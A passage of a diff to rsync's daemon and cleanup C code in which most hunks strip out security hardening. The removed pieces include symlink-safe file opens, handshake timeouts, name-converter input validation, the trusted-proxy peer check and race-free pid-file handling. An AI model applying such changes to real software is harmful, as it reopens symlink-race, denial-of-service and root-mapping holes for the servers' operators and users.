6) & 7;\n-\tif (copy_src & 0010)\n-\t\tcopy_bits |= (mode >> 3) & 7;\n-\tif (copy_src & 0001)\n-\t\tcopy_bits |= mode & 7;\n-\n-\treturn (copy_dst * copy_bits) & copy_and;\n-}\n-\n \n /* Takes an existing file permission and a list of AND/OR changes, and\n  * create a new permissions. */\n@@ -293,25 +219,17 @@ int tweak_mode(int mode, struct chmod_mode_struct *chmod_modes)\n {\n \tint IsX = mode & 0111;\n \tint NonPerm = mode & ~CHMOD_BITS;\n-\tint copy_bits;\n \n \tfor ( ; chmod_modes; chmod_modes = chmod_modes->next) {\n \t\tif ((chmod_modes->flags & FLAG_DIRS_ONLY) && !S_ISDIR(NonPerm))\n \t\t\tcontinue;\n \t\tif ((chmod_modes->flags & FLAG_FILES_ONLY) && S_ISDIR(NonPerm))\n \t\t\tcontinue;\n-\t\tcopy_bits = mode_copy_bits(mode, chmod_modes->ModeCOPY_SRC,\n-\t\t\t\t\t   chmod_modes->ModeCOPY_DST,\n-\t\t\t\t\t   chmod_modes->ModeCOPY_AND);\n \t\tmode &= chmod_modes->ModeAND;\n \t\tif ((chmod_modes->flags & FLAG_X_KEEP) && !IsX && !S_ISDIR(NonPerm))\n \t\t\tmode |= chmod_modes->ModeOR & ~0111;\n \t\telse\n \t\t\tmode |= chmod_modes->ModeOR;\n-\t\tif (chmod_modes->ModeOP == CHMOD_SUB)\n-\t\t\tmode &= CHMOD_BITS - copy_bits;\n-\t\telse\n-\t\t\tmode |= copy_bits;\n \t}\n \n \treturn mode | NonPerm;\ndiff --git a/cleanup.c b/cleanup.c\nindex 38aafb3..40d26ba 100644\n--- a/cleanup.c\n+++ b/cleanup.c\n@@ -162,8 +162,7 @@ NORETURN void _exit_cleanup(int code, const char *file, int line)\n \t\t\t\tcleanup_fd_r = -1;\n \t\t\t}\n \t\t\tif (cleanup_fd_w != -1) {\n-\t\t\t\tif (!called_from_signal_handler)\n-\t\t\t\t\tflush_write_file(cleanup_fd_w);\n+\t\t\t\tflush_write_file(cleanup_fd_w);\n \t\t\t\tclose(cleanup_fd_w);\n \t\t\t\tcleanup_fd_w = -1;\n \t\t\t}\n@@ -199,7 +198,7 @@ NORETURN void _exit_cleanup(int code, const char *file, int line)\n \t\tswitch_step++;\n \n \t\tif (cleanup_fname)\n-\t\t\tdo_unlink_at(cleanup_fname);\n+\t\t\tdo_unlink(cleanup_fname);\n \t\tif (exit_code)\n \t\t\tkill_all(SIGUSR1);\n \t\tif (cleanup_pid && cleanup_pid == getpid()) {\n@@ -270,16 +269,8 @@ NORETURN void _exit_cleanup(int code, const char *file, int line)\n \t\tbreak;\n \t}\n \n-\tif (called_from_signal_handler) {\n-#ifdef GCOV_COVERAGE\n-\t\t/* _exit() bypasses the gcov atexit flush; rsync's generator (and\n-\t\t * other processes) normally finish via the signal handler, so\n-\t\t * without this they would write no .gcda. Harmless otherwise. */\n-\t\textern void __gcov_dump(void);\n-\t\t__gcov_dump();\n-#endif\n+\tif (called_from_signal_handler)\n \t\t_exit(exit_code);\n-\t}\n \texit(exit_code);\n }\n \ndiff --git a/clientname.c b/clientname.c\nindex dbac38b..ea94894 100644\n--- a/clientname.c\n+++ b/clientname.c\n@@ -167,7 +167,7 @@ int read_proxy_protocol_header(int fd)\n \t\t\tchar sig[PROXY_V2_SIG_SIZE];\n \t\t\tchar ver_cmd;\n \t\t\tchar fam;\n-\t\t\tunsigned char len[2];\n+\t\t\tchar len[2];\n \t\t\tunion {\n \t\t\t\tstruct {\n \t\t\t\t\tchar src_addr[4];\ndiff --git a/clientserver.c b/clientserver.c\nindex 586cc05..7c897ab 100644\n--- a/clientserver.c\n+++ b/clientserver.c\n@@ -22,9 +22,6 @@\n #include \"rsync.h\"\n #include \"itypes.h\"\n #include \"ifuncs.h\"\n-#ifdef HAVE_SYS_UN_H\n-#include <sys/un.h>\n-#endif\n \n extern int quiet;\n extern int dry_run;\n@@ -33,7 +30,6 @@ extern int list_only;\n extern int am_sender;\n extern int am_server;\n extern int am_daemon;\n-extern int am_chrooted;\n extern int am_root;\n extern int msgs2stderr;\n extern int rsync_port;\n@@ -42,10 +38,8 @@ extern int ignore_errors;\n extern int preserve_xattrs;\n extern int kluge_around_eof;\n extern int munge_symlinks;\n-extern int use_secure_symlinks;\n extern int open_noatime;\n extern int sanitize_paths;\n-extern int daemon_config_filter_file;\n extern int numeric_ids;\n extern int filesfrom_fd;\n extern int remote_protocol;\n@@ -60,7 +54,6 @@ extern int logfile_format_has_o_or_i;\n extern char *bind_address;\n extern char *config_file;\n extern char *logfile_format;\n-extern char *stdout_format;\n extern char *files_from;\n extern char *tmpdir;\n extern char *early_input_file;\n@@ -75,8 +68,6 @@ extern gid_t our_gid;\n \n char *auth_user;\n char *daemon_auth_choices;\n-/* read_args() enforces MAX_DAEMON_ARGS and reports \"too many daemon arguments\"\n- * before a daemon client can grow argv without bound. */\n int read_only = 0;\n int module_id = -1;\n int pid_file_fd = -1;\n@@ -88,32 +79,11 @@ struct chmod_mode_struct *daemon_chmod_modes;\n #define EARLY_INPUT_CMD \"#early_input=\"\n #define EARLY_INPUT_CMDLEN (sizeof EARLY_INPUT_CMD - 1)\n \n-/* Fallback bound on each peer-driven daemon handshake phase when no positive\n- * \"timeout\" is configured.  A module value can shorten the pre-auth and\n- * argument-read phases, but cannot extend either beyond this limit. */\n-#define DAEMON_HANDSHAKE_TIMEOUT 60\n-\n-static int daemon_handshake_timeout(int module)\n-{\n-\tint timeout = lp_timeout(module);\n-\n-\t/* \"timeout\" is parsed with atoi(), so negative values are possible. */\n-\tif (timeout <= 0 || timeout > DAEMON_HANDSHAKE_TIMEOUT)\n-\t\ttimeout = DAEMON_HANDSHAKE_TIMEOUT;\n-\treturn timeout;\n-}\n-\n /* module_dirlen is the length of the module_dir string when in daemon\n  * mode and module_dir is not \"/\"; otherwise 0.  (Note that a chroot-\n  * enabled module can have a non-\"/\" module_dir these days.) */\n char *module_dir = NULL;\n unsigned int module_dirlen = 0;\n-/* An fd held open on the served module root, captured while the daemon is still\n- * positioned there (and privileged) -- so the sender's directory scan can be\n- * confined beneath the module by resolving module-relative paths against this fd,\n- * without re-walking (and re-permission-checking) the absolute module path as the\n- * dropped-privilege module uid.  -1 when not a daemon or not yet captured. */\n-int module_dirfd = -1;\n \n char *full_module_path;\n \n@@ -186,12 +156,7 @@ static int exchange_protocols(int f_in, int f_out, char *buf, size_t bufsiz, int\n \tif (!am_client) {\n \t\tchar *motd = lp_motd_file();\n \t\tif (motd && *motd) {\n-\t\t\t/* 'motd file = PATH': motd content is sent to every client, so\n-\t\t\t * a planted symlink would leak the target's bytes.  Refuse\n-\t\t\t * symlinks not owned by uid 0 or our euid. */\n-\t\t\tint motd_fd = open_no_attacker_symlinks(motd, O_RDONLY, 0);\n-\t\t\tFILE *f = motd_fd >= 0 ? fdopen(motd_fd, \"r\") : NULL;\n-\t\t\tif (!f && motd_fd >= 0) close(motd_fd);\n+\t\t\tFILE *f = fopen(motd, \"r\");\n \t\t\twhile (f && !feof(f)) {\n \t\t\t\tint len = fread(buf, 1, bufsiz - 1, f);\n \t\t\t\tif (len > 0)\n@@ -295,30 +260,19 @@ int start_inband_exchange(int f_in, int f_out, const char *user, int argc, char\n \tif (!user)\n \t\tuser = getenv(\"LOGNAME\");\n \n-\tif (exchange_protocols(f_in, f_out, line, sizeof line, 1) < 0) {\n-\t\tfree(modname);\n+\tif (exchange_protocols(f_in, f_out, line, sizeof line, 1) < 0)\n \t\treturn -1;\n-\t}\n \n \tif (early_input_file) {\n \t\tSTRUCT_STAT st;\n-\t\t/* --early-input-file=PATH: refuse symlinks not owned by uid 0 or\n-\t\t * our euid anywhere in the path. */\n-\t\tint ei_fd = open_no_attacker_symlinks(early_input_file, O_RDONLY, 0);\n-\t\tFILE *f = ei_fd >= 0 ? fdopen(ei_fd, \"rb\") : NULL;\n-\t\tif (!f && ei_fd >= 0) close(ei_fd);\n+\t\tFILE *f = fopen(early_input_file, \"rb\");\n \t\tif (!f || do_fstat(fileno(f), &st) < 0) {\n \t\t\trsyserr(FERROR, errno, \"failed to open %s\", early_input_file);\n-\t\t\tif (f)\n-\t\t\t\tfclose(f);\n-\t\t\tfree(modname);\n \t\t\treturn -1;\n \t\t}\n \t\tearly_input_len = st.st_size;\n \t\tif (early_input_len > (int)sizeof line) {\n \t\t\trprintf(FERROR, \"%s is > %d bytes.\\n\", early_input_file, (int)sizeof line);\n-\t\t\tfclose(f);\n-\t\t\tfree(modname);\n \t\t\treturn -1;\n \t\t}\n \t\tif (early_input_len > 0) {\n@@ -327,8 +281,6 @@ int start_inband_exchange(int f_in, int f_out, const char *user, int argc, char\n \t\t\t\tint len;\n \t\t\t\tif (feof(f)) {\n \t\t\t\t\trprintf(FERROR, \"Early EOF in %s\\n\", early_input_file);\n-\t\t\t\t\tfclose(f);\n-\t\t\t\t\tfree(modname);\n \t\t\t\t\treturn -1;\n \t\t\t\t}\n \t\t\t\tlen = fread(line, 1, early_input_len, f);\n@@ -405,7 +357,6 @@ int start_inband_exchange(int f_in, int f_out, const char *user, int argc, char\n \twhile (1) {\n \t\tif (!read_line_old(f_in, line, sizeof line, 0)) {\n \t\t\trprintf(FERROR, \"rsync: didn't get server startup line\\n\");\n-\t\t\tfree(modname);\n \t\t\treturn -1;\n \t\t}\n \n@@ -429,7 +380,6 @@ int start_inband_exchange(int f_in, int f_out, const char *user, int argc, char\n \t\t\trprintf(FERROR, \"%s\\n\", line);\n \t\t\t/* This is always fatal; the server will now\n \t\t\t * close the socket. */\n-\t\t\tfree(modname);\n \t\t\treturn -1;\n \t\t}\n \n@@ -591,7 +541,6 @@ static pid_t start_pre_exec(const char *cmd, int *arg_fd_ptr, int *error_fd_ptr)\n \n \t\tstatus = shell_exec(cmd);\n \n-\t\tgcov_flush();\n \t\tif (!WIFEXITED(status))\n \t\t\t_exit(1);\n \t\t_exit(WEXITSTATUS(status));\n@@ -807,9 +756,6 @@ static int rsync_module(int f_in, int f_out, int i, const char *addr, const char\n \t}\n \n \tread_only = lp_read_only(i); /* may also be overridden by auth_server() */\n-\t/* The module is now known, so its local timeout policy can tighten the\n-\t * absolute deadline while the claimed slot is awaiting authentication. */\n-\tset_daemon_handshake_timeout(daemon_handshake_timeout(i));\n \tauth_user = auth_server(f_in, f_out, i, host, addr, \"@RSYNCD: AUTHREQD \");\n \n \tif (!auth_user) {\n@@ -817,10 +763,6 @@ static int rsync_module(int f_in, int f_out, int i, const char *addr, const char\n \t\treturn -1;\n \t}\n \tset_env_str(\"RSYNC_USER_NAME\", auth_user);\n-\t/* Do not count local setup or operator hooks against a peer's read time.\n-\t * In particular, the post-xfer parent and pre-xfer/name-converter children\n-\t * are forked below and must never inherit an armed asynchronous deadline. */\n-\tset_daemon_handshake_timeout(0);\n \n \tmodule_id = i;\n \n@@ -929,11 +871,6 @@ static int rsync_module(int f_in, int f_out, int i, const char *addr, const char\n \t} else\n \t\tset_filter_dir(module_dir, module_dirlen);\n \n-\t/* Everything loaded from here to the end of the exclude block is the\n-\t * operator's own configuration, so it keeps the ownership walk without the\n-\t * module-confinement parse_filter_file() applies to peer-driven merges. */\n-\tdaemon_config_filter_file = 1;\n-\n \tp = lp_filter(module_id);\n \tparse_filter_str(&daemon_filter_list, p, rule_template(FILTRULE_WORD_SPLIT),\n \t\tXFLG_ABS_IF_SLASH | XFLG_DIR2WILD3);\n@@ -955,8 +892,6 @@ static int rsync_module(int f_in, int f_out, int i, const char *addr, const char\n \tparse_filter_str(&daemon_filter_list, p, rule_template(FILTRULE_WORD_SPLIT),\n \t\tXFLG_ABS_IF_SLASH | XFLG_DIR2WILD3 | XFLG_OLD_PREFIXES);\n \n-\tdaemon_config_filter_file = 0;\n-\n \tlog_init(1);\n \n #if defined HAVE_SETENV || defined HAVE_PUTENV\n@@ -990,7 +925,6 @@ static int rsync_module(int f_in, int f_out, int i, const char *addr, const char\n \t\t\t\tset_env_num(\"RSYNC_EXIT_STATUS\", status);\n \t\t\t\tif (shell_exec(lp_postxfer_exec(module_id)) < 0)\n \t\t\t\t\tstatus = -1;\n-\t\t\t\tgcov_flush();\n \t\t\t\t_exit(status);\n \t\t\t}\n \t\t}\n@@ -1042,32 +976,16 @@ static int rsync_module(int f_in, int f_out, int i, const char *addr, const char\n \t}\n \n \tif (use_chroot) {\n-\t\t/* Cache timezone data before chroot makes /etc/localtime inaccessible */\n-\t\ttzset();\n-\t\t/* Flush gcov counters now: after chroot the build-tree .gcda\n-\t\t * paths are unreachable, so everything this child has executed\n-\t\t * so far (the whole rsync_module() pre-chroot path) would\n-\t\t * otherwise be lost.  Post-chroot coverage from this child is\n-\t\t * still unrecordable -- accepted, documented in\n-\t\t * testsuite/COVERAGE.md. */\n-\t\tgcov_flush();\n \t\tif (chroot(module_chdir)) {\n \t\t\trsyserr(FLOG, errno, \"chroot(\\\"%s\\\") failed\", module_chdir);\n \t\t\tio_printf(f_out, \"@ERROR: chroot failed\\n\");\n \t\t\treturn -1;\n \t\t}\n-\t\tam_chrooted = 1;\n \t\tmodule_chdir = module_dir;\n \t}\n \n \tif (!change_dir(module_chdir, CD_NORMAL))\n \t\treturn path_failure(f_out, module_chdir, True);\n-\t/* Pin the module root by identity now -- cwd is the served root and we are\n-\t * still privileged -- so the sender's later directory scans resolve against\n-\t * this fd rather than re-walking the absolute module path post-setuid. */\n-#if defined HAVE_FDOPENDIR && defined O_DIRECTORY\n-\tmodule_dirfd = open(\".\", O_RDONLY | O_DIRECTORY | O_CLOEXEC);\n-#endif\n \tif (module_dirlen)\n \t\tsanitize_paths = 1;\n \n@@ -1085,18 +1003,6 @@ static int rsync_module(int f_in, int f_out, int i, const char *addr, const char\n \t\t}\n \t}\n \n-\t/* Enable secure symlink handling for any non-chrooted daemon module, and\n-\t * for a chroot module with a /./ inner boundary (module_dirlen) -- there\n-\t * the kernel chroot confines the outer path but not the inner module, so\n-\t * the receiver finish/rename path must still resolve beneath the module\n-\t * root.  This prevents TOCTOU race attacks where an attacker could switch a\n-\t * directory to a symlink between path validation and file open.  Match the\n-\t * gate in secure_relpath_active() (syscall.c) -- the protection has nothing\n-\t * to do with symlink munging, so a module configured with \"munge symlinks =\n-\t * false\" must still get the secure-open path. */\n-\tuse_secure_symlinks = am_daemon && (!am_chrooted || module_dirlen)\n-\t\t\t    && !symlink_optout_allowed();\n-\n \tif (gid_list.count) {\n \t\tgid_t *gid_array = gid_list.items;\n \t\tif (setgid(gid_array[0])) {\n@@ -1148,14 +1054,9 @@ static int rsync_module(int f_in, int f_out, int i, const char *addr, const char\n \t\t}\n \t}\n \n-\t/* This deadline is checked only in the read path, so the preceding local\n-\t * setup and hooks can take as long as necessary.  Keep one absolute bound\n-\t * across both read_args() calls: anonymous modules must not be able to pin\n-\t * a max-connections slot by trickling an unterminated argument forever. */\n-\tset_daemon_handshake_timeout(daemon_handshake_timeout(module_id));\n \tio_printf(f_out, \"@RSYNCD: OK\\n\");\n \n-\tread_args(f_in, name, line, sizeof line, rl_nulls, 1, &argv, &argc, &request);\n+\tread_args(f_in, name, line, sizeof line, rl_nulls, &argv, &argc, &request);\n \torig_argv = argv;\n \n \tsave_munge_symlinks = munge_symlinks;\n@@ -1165,12 +1066,11 @@ static int rsync_module(int f_in, int f_out, int i, const char *addr, const char\n \tif (protect_args && ret) {\n \t\torig_early_argv = orig_argv;\n \t\tprotect_args = 2;\n-\t\tread_args(f_in, name, line, sizeof line, 1, 0, &argv, &argc, &request);\n+\t\tread_args(f_in, name, line, sizeof line, 1, &argv, &argc, &request);\n \t\torig_argv = argv;\n \t\tret = parse_arguments(&argc, (const char ***) &argv);\n \t} else\n \t\torig_early_argv = NULL;\n-\tset_daemon_handshake_timeout(0);\n \n \t/* The default is to use the user's setting unless the module sets True or False. */\n \tif (lp_open_noatime(module_id) >= 0)\n@@ -1223,11 +1123,6 @@ static int rsync_module(int f_in, int f_out, int i, const char *addr, const char\n \t}\n \n #ifndef DEBUG\n-\t/* Remember an explicit deletion-output request before max verbosity\n-\t * clamps INFO_DEL.  stdout_format is also the server-side marker used\n-\t * to decide whether deletion names need to be sent to the client. */\n-\tif (protocol_version >= 29 && INFO_GTE(DEL, 1) && !stdout_format)\n-\t\tstdout_format = \"X\";\n \t/* don't allow the logs to be flooded too fast */\n \tlimit_output_verbosity(lp_max_verbosity(module_id));\n #endif\n@@ -1315,20 +1210,14 @@ static int rsync_module(int f_in, int f_out, int i, const char *addr, const char\n \treturn 0;\n }\n \n-static BOOL namecvt_safe_token(const char *s);\n-\n BOOL namecvt_call(const char *cmd, const char **name_p, id_t *id_p)\n {\n \tchar buf[1024];\n \tint got, len;\n \n-\tif (*name_p) {\n-\t\tif (!namecvt_safe_token(*name_p)) {\n-\t\t\trprintf(FERROR, \"invalid name-converter token: %s\\n\", *name_p);\n-\t\t\treturn False;\n-\t\t}\n+\tif (*name_p)\n \t\tlen = snprintf(buf, sizeof buf, \"%s %s\\n\", cmd, *name_p);\n-\t} else\n+\telse\n \t\tlen = snprintf(buf, sizeof buf, \"%s %ld\\n\", cmd, (long)*id_p);\n \tif (len >= (int)sizeof buf) {\n \t\trprintf(FERROR, \"namecvt_call() request was too large.\\n\");\n@@ -1345,39 +1234,14 @@ BOOL namecvt_call(const char *cmd, const char **name_p, id_t *id_p)\n \tif (!read_line_old(namecvt_fd_ans, buf, sizeof buf, 0))\n \t\treturn False;\n \n-\tif (*name_p) {\n-\t\t/* Name-to-id: an unknown name returns an empty line and atol(\"\")=0\n-\t\t * would map it to root, so validate strictly below (all digits, no\n-\t\t * ERANGE, fits id_t). */\n-\t\tconst char *p;\n-\t\tunsigned long v;\n-\t\tif (!*buf)\n-\t\t\treturn False;\n-\t\tfor (p = buf; *p; p++) {\n-\t\t\tif (*p < '0' || *p > '9')\n-\t\t\t\treturn False;\n-\t\t}\n-\t\terrno = 0;\n-\t\tv = strtoul(buf, NULL, 10);\n-\t\tif (errno == ERANGE || v > (unsigned long)(id_t)-1)\n-\t\t\treturn False;\n-\t\t*id_p = (id_t)v;\n-\t} else\n+\tif (*name_p)\n+\t\t*id_p = (id_t)atol(buf);\n+\telse\n \t\t*name_p = strdup(buf);\n \n \treturn True;\n }\n \n-static BOOL namecvt_safe_token(const char *s)\n-{\n-\tfor (; *s; s++) {\n-\t\tunsigned char ch = (unsigned char)*s;\n-\t\tif (ch < ' ' || ch == 0x7f)\n-\t\t\treturn False;\n-\t}\n-\treturn True;\n-}\n-\n /* send a list of available modules to the client. Don't list those\n    with \"list = False\". */\n static void send_listing(int fd)\n@@ -1394,18 +1258,6 @@ static void send_listing(int fd)\n \t\tio_printf(fd,\"@RSYNCD: EXIT\\n\");\n }\n \n-static int proxy_peer_allowed(int fd)\n-{\n-\tconst char *host = undetermined_hostname;\n-\tconst char *addr = client_addr(fd);\n-\n-\tif (!allow_proxy_protocol_peer(lp_proxy_protocol_hosts(), addr, &host)) {\n-\t\trprintf(FLOG, \"proxy protocol rejected from untrusted peer %s (%s)\\n\", host, addr);\n-\t\treturn 0;\n-\t}\n-\treturn 1;\n-}\n-\n static int load_config(int globals_only)\n {\n \tif (!config_file) {\n@@ -1442,62 +1294,17 @@ int start_daemon(int f_in, int f_out)\n \t * (when rsync is run by init and run by a remote shell). */\n \tif (!load_config(0))\n \t\texit_cleanup(RERR_SYNTAX);\n-\tniceness_apply();\n-\n-\t/* Bound the handshake before ANY peer input is read -- the PROXY-protocol\n-\t * header below is peer-supplied too, and was previously unbounded.  An\n-\t * rsh-run daemon is not a listener and has no shared slot to exhaust. */\n-\tif (am_daemon > 0)\n-\t\tset_daemon_handshake_timeout(daemon_handshake_timeout(-1));\n \n-\tif (lp_proxy_protocol()) {\n-\t\tif (!proxy_peer_allowed(f_in) || !read_proxy_protocol_header(f_in))\n-\t\t\treturn -1;\n-\t}\n-\n-\t/* Do reverse DNS lookup before chroot/setuid. The result is cached,\n-\t * so the later client_name() call will use this cached value. This\n-\t * ensures hostname-based ACLs work even when DNS is unavailable\n-\t * after chroot.\n-\t *\n-\t * \"reverse lookup\" can be set globally OR per-module, so we also\n-\t * scan each module: a deployment with \"reverse lookup = no\" in the\n-\t * global section but \"reverse lookup = yes\" in a specific module\n-\t * still triggers a post-chroot lookup at access-check time\n-\t * (rsync_module() in this file), which would also fail in the\n-\t * chroot and turn hostname-based deny rules into silent bypasses. */\n-\t{\n-\t\tint need_reverse = lp_reverse_lookup(-1);\n-\t\tint j, num_modules = lp_num_modules();\n-\t\tfor (j = 0; !need_reverse && j < num_modules; j++) {\n-\t\t\tif (lp_reverse_lookup(j))\n-\t\t\t\tneed_reverse = 1;\n-\t\t}\n-\t\tif (need_reverse)\n-\t\t\t(void)client_name(client_addr(f_in));\n-\t}\n+\tif (lp_proxy_protocol() && !read_proxy_protocol_header(f_in))\n+\t\treturn -1;\n \n \tp = lp_daemon_chroot();\n \tif (*p) {\n \t\tlog_init(0); /* Make use we've initialized syslog before chrooting. */\n-\t\ttzset();\n \t\tif (chroot(p) < 0) {\n \t\t\trsyserr(FLOG, errno, \"daemon chroot(\\\"%s\\\") failed\", p);\n \t\t\treturn -1;\n \t\t}\n-\t\t/* Deliberately do NOT set am_chrooted here.  am_chrooted\n-\t\t * gates the per-module symlink-race defenses\n-\t\t * (secure_relative_open() and the do_*_at() wrappers in\n-\t\t * syscall.c) and means \"the kernel is enforcing path\n-\t\t * confinement at the module boundary\".  The daemon chroot\n-\t\t * confines path resolution to the daemon-chroot directory,\n-\t\t * not to any individual module path -- modules sharing the\n-\t\t * daemon chroot are still distinguishable filesystem\n-\t\t * subtrees and a sender-controlled symlink in module A\n-\t\t * could redirect a syscall to module B (or to other files\n-\t\t * inside the daemon chroot) without the per-module\n-\t\t * defenses.  Leave am_chrooted=0 here so secure_relative_open()\n-\t\t * still fires for \"use chroot = no\" modules. */\n \t\tif (chdir(\"/\") < 0) {\n \t\t\trsyserr(FLOG, errno, \"daemon chdir(\\\"/\\\") failed\");\n \t\t\treturn -1;\n@@ -1540,7 +1347,6 @@ int start_daemon(int f_in, int f_out)\n \t\tset_nonblocking(f_in);\n \t}\n \n-\n \tif (exchange_protocols(f_in, f_out, line, sizeof line, 0) < 0)\n \t\treturn -1;\n \n@@ -1595,83 +1401,21 @@ static void create_pid_file(void)\n \tchar pidbuf[32];\n \tSTRUCT_STAT st1, st2;\n \tchar *fail = NULL;\n-\tconst char *base = pid_file;\n-\tint pdfd = -1;\n \n \tif (!pid_file || !*pid_file)\n \t\treturn;\n \n #ifdef O_NOFOLLOW\n-#define SAFE_NOFOLLOW O_NOFOLLOW\n+#define SAFE_OPEN_FLAGS (O_CREAT|O_NOFOLLOW)\n #else\n-#define SAFE_NOFOLLOW 0\n-#endif\n-\n-#ifdef AT_FDCWD\n-\t/* Pin the parent directory so the existence check, open and re-stat below\n-\t * all resolve the leaf against one stable directory inode, removing the\n-\t * lstat->open path race.  The parent is operator-configured and trusted, so\n-\t * it is opened following symlinks (e.g. a /var/run -> /run); only the leaf\n-\t * is opened/checked O_NOFOLLOW (the do_*_atfd wrappers force that). */\n-\t{\n-\t\tconst char *slash = strrchr(pid_file, '/');\n-\t\tchar dirbuf[MAXPATHLEN];\n-\t\tconst char *dir = \".\";\n-\t\tint dir_flags = O_RDONLY;\n-#ifdef O_DIRECTORY\n-\t\tdir_flags |= O_DIRECTORY;\n-#elif defined O_NONBLOCK\n-\t\t/* Avoid blocking on a non-directory special file before fstat below. */\n-\t\tdir_flags |= O_NONBLOCK;\n-#endif\n-\t\tif (slash) {\n-\t\t\tsize_t dlen = slash == pid_file ? 1 : (size_t)(slash - pid_file);\n-\t\t\tif (dlen >= sizeof dirbuf) {\n-\t\t\t\trprintf(FLOG, \"pid file path is too long: %s\\n\", pid_file);\n-\t\t\t\texit_cleanup(RERR_FILEIO);\n-\t\t\t}\n-\t\t\tmemcpy(dirbuf, pid_file, dlen);\n-\t\t\tdirbuf[dlen] = '\\0';\n-\t\t\tdir = dirbuf;\n-\t\t\tbase = slash + 1;\n-\t\t}\n-\t\tpdfd = do_open(dir, dir_flags, 0);\n-#ifndef O_DIRECTORY\n-\t\tif (pdfd >= 0) {\n-\t\t\tSTRUCT_STAT dir_st;\n-\t\t\tint save_errno;\n-\t\t\tif (do_fstat(pdfd, &dir_st) < 0)\n-\t\t\t\tsave_errno = errno;\n-\t\t\telse if (!S_ISDIR(dir_st.st_mode))\n-\t\t\t\tsave_errno = ENOTDIR;\n-\t\t\telse\n-\t\t\t\tsave_errno = 0;\n-\t\t\tif (save_errno) {\n-\t\t\t\tclose(pdfd);\n-\t\t\t\tpdfd = -1;\n-\t\t\t\terrno = save_errno;\n-\t\t\t}\n-\t\t}\n-#endif\n-\t\tif (pdfd < 0) {\n-\t\t\trsyserr(FLOG, errno, \"failed to open pid-file directory \\\"%s\\\"\", dir);\n-\t\t\texit_cleanup(RERR_FILEIO);\n-\t\t}\n-\t}\n-#define PID_LSTAT(stp) do_lstat_atfd(pdfd, base, stp)\n-#define PID_UNLINK()   do_unlink_atfd(pdfd, base, 0)\n-#define PID_OPEN()     do_open_atfd(pdfd, base, O_RDWR|O_CREAT, 0664)\n-#else\n-#define PID_LSTAT(stp) do_lstat(base, stp)\n-#define PID_UNLINK()   unlink(base)\n-#define PID_OPEN()     do_open(base, O_RDWR|O_CREAT|SAFE_NOFOLLOW, 0664)\n+#define SAFE_OPEN_FLAGS (O_CREAT)\n #endif\n \n \t/* These tests make sure that a temp-style lock dir is handled safely. */\n \tst1.st_mode = 0;\n-\tif (PID_LSTAT(&st1) == 0 && !S_ISREG(st1.st_mode) && PID_UNLINK() < 0)\n+\tif (do_lstat(pid_file, &st1) == 0 && !S_ISREG(st1.st_mode) && unlink(pid_file) < 0)\n \t\tfail = \"unlink\";\n-\telse if ((pid_file_fd = PID_OPEN()) < 0)\n+\telse if ((pid_file_fd = do_open(pid_file, O_RDWR|SAFE_OPEN_FLAGS, 0664)) < 0)\n \t\tfail = S_ISREG(st1.st_mode) ? \"open\" : \"create\";\n \telse if (!lock_range(pid_file_fd, 0, 4))\n \t\tfail = \"lock\";\n@@ -1679,7 +1423,7 @@ static void create_pid_file(void)\n \t\tfail = \"fstat opened\";\n \telse if (st1.st_size > (int)sizeof pidbuf)\n \t\tfail = \"find small\";\n-\telse if (PID_LSTAT(&st2) < 0)\n+\telse if (do_lstat(pid_file, &st2) < 0)\n \t\tfail = \"lstat\";\n \telse if (!S_ISREG(st1.st_mode))\n \t\tfail = \"avoid file overwrite race for\";\n@@ -1703,13 +1447,6 @@ static void create_pid_file(void)\n \t\tcleanup_set_pid(pid); /* Mark the file for removal on exit, even if the write failed. */\n \t}\n \n-#undef PID_LSTAT\n-#undef PID_UNLINK\n-#undef PID_OPEN\n-#undef SAFE_NOFOLLOW\n-\tif (pdfd >= 0)\n-\t\tclose(pdfd);\n-\n \tif (fail) {\n \t\tchar msg[1024];\n \t\tsnprintf(msg, sizeof msg, \"failed to %s pid file %s: %s\\n\",\n@@ -1733,7 +1470,6 @@ static void become_daemon(void)\n \t\t\tfprintf(stderr, \"failed to fork: %s\\n\", strerror(errno));\n \t\t\texit_cleanup(RERR_FILEIO);\n \t\t}\n-\t\tgcov_flush();\n \t\t_exit(0);\n \t}\n \n@@ -1757,59 +1493,9 @@ static void become_daemon(void)\n \t}\n }\n \n-/* Inetd supplies a connected IP stream on stdin. Socket activation may also\n- * supply a connected Unix stream whose local endpoint has a name. Other\n- * launchers may use an unnamed local socket for process I/O, which must not\n- * select inetd mode. */\n-static int is_inetd_socket(int fd)\n-{\n-\tint type;\n-\tstruct sockaddr_storage peer = {0};\n-\tsocklen_t type_len = sizeof type;\n-\tsocklen_t peer_len = sizeof peer;\n-\n-\tif (getsockopt(fd, SOL_SOCKET, SO_TYPE, (char *)&type, &type_len) != 0\n-\t || type != SOCK_STREAM\n-\t || getpeername(fd, (struct sockaddr *)&peer, &peer_len) != 0)\n-\t\treturn 0;\n-\n-\tif (peer.ss_family == AF_INET\n-#ifdef INET6\n-\t || peer.ss_family == AF_INET6\n-#endif\n-\t)\n-\t\treturn 1;\n-\n-#ifdef HAVE_SYS_UN_H\n-\tif (peer.ss_family == AF_UNIX) {\n-\t\tstruct sockaddr_storage local = {0};\n-\t\tstruct sockaddr_un *local_un = (struct sockaddr_un *)&local;\n-\t\tsocklen_t local_len = sizeof local;\n-\t\tsize_t path_len, i;\n-\n-\t\tif (getsockname(fd, (struct sockaddr *)&local, &local_len) != 0\n-\t\t || local.ss_family != AF_UNIX)\n-\t\t\treturn 0;\n-\n-\t\tif (local_len <= (socklen_t)offsetof(struct sockaddr_un, sun_path))\n-\t\t\treturn 0;\n-\t\tpath_len = (size_t)local_len - offsetof(struct sockaddr_un, sun_path);\n-\t\tif (path_len > sizeof local_un->sun_path)\n-\t\t\tpath_len = sizeof local_un->sun_path;\n-\t\tfor (i = 0; i < path_len; i++) {\n-\t\t\tif (local_un->sun_path[i] != '\\0')\n-\t\t\t\treturn 1;\n-\t\t}\n-\t\treturn 0;\n-\t}\n-#endif\n-\n-\treturn 0;\n-}\n-\n int daemon_main(void)\n {\n-\tif (is_inetd_socket(STDIN_FILENO)) {\n+\tif (is_a_socket(STDIN_FILENO)) {\n \t\tint i;\n \n \t\t/* we are running via inetd - close off stdout and\n@@ -1828,18 +1514,6 @@ int daemon_main(void)\n \t\texit_cleanup(RERR_SYNTAX);\n \t}\n \tset_dparams(0);\n-\tniceness_apply();\n-\n-\t/* \"proxy protocol = true\" with no trusted-proxy list rejects every\n-\t * connection as an untrusted proxy peer (fail-closed).  That is intended,\n-\t * but silent at startup, so warn the operator while stderr is still open. */\n-\tif (lp_proxy_protocol()\n-\t && (!lp_proxy_protocol_hosts() || 